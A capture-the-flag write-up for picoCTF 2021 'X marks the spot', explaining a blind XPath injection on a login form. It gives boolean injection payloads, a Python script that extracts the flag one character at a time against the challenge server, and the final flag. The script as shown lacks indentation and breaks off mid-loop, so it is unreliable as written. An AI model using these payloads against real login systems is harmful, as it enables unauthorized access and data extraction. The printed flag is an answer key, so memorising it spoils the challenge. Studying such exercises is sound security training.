Tags: injection web xpath 


Visit [Original writeup](https://docs.abbasmj.com/ctf-writeups/picoctf2021#x-marks-the-spot) for better formatting.


**Description:** Another login you have to bypass. Maybe you can find an injection that works?

**Points:** 250

#### **Solution**

The link takes you to a login screen that reads "Only I know the password, and I don't use any of those regular old unsafe query languages!" Let's look at the hint.

**Hint 1:** XPATH

So, this is an XPath injection. This is not like any of the injections before. I tried bypassing the login with always true queries but they do not work, However, There is an interesting message that pops up when I enter an always true booleans like `' or 1=1 or 'a`


It says "You're on the right path." I tried to change things a little bit and used a false query like `' and 1=2 and 'a'='a`


Now it says "Login failure." This means that it's a Blind XPATH injection which means we have to figure out the username and password using queries. Here we can use **"starts-wth\(\)"** operator. Which returns true if the passed characters are at the beginning of a document. We do not know the column names yet so we can use `//*` which basically means check for all documents \(columns\). I tried testing it with `' or //*[starts-with(text(),'a')] or 'a'='b` which interestingly enough returned true. I tried again with `' or //*[starts-with(text(),'ab')] or 'a'='b` which returned false.

We can actually write a script that runs through all the combinations and stacks the successful characters upon success. Here's the Python script that I made

import requests
from string import *

charecters = ascii_lowercase + ascii_uppercase + digits+"}_"

seen_password = ["picoCTF{"]
while True:

for ch in charecters:
print(f"trying {''.join(seen_password)+ch}")
st = ''.join(seen_password)+ch
data = {"name":"admin", "pass":f"' or //*[starts-with(text(),'{st}')] or '1'='"}
r = requests.post("http://mercury.picoctf.net:59946/", data=data)

content = r.text
if "You're on the right path." in content:

I tried running the above script several times before which returned with values like admin, bob, thisisnottheflag then I figured that we are supposed to look for the flag itself, not some password. so I started with the standard starting format `picoCTF{` after running for a while, I finally got the full flag.


**Flag:** picoCTF{h0p3fully\_u\_t0ok\_th3\_r1ght\_xp4th\_a56016ef}

Original writeup (https://docs.abbasmj.com/ctf-writeups/picoctf2021#x-marks-the-spot).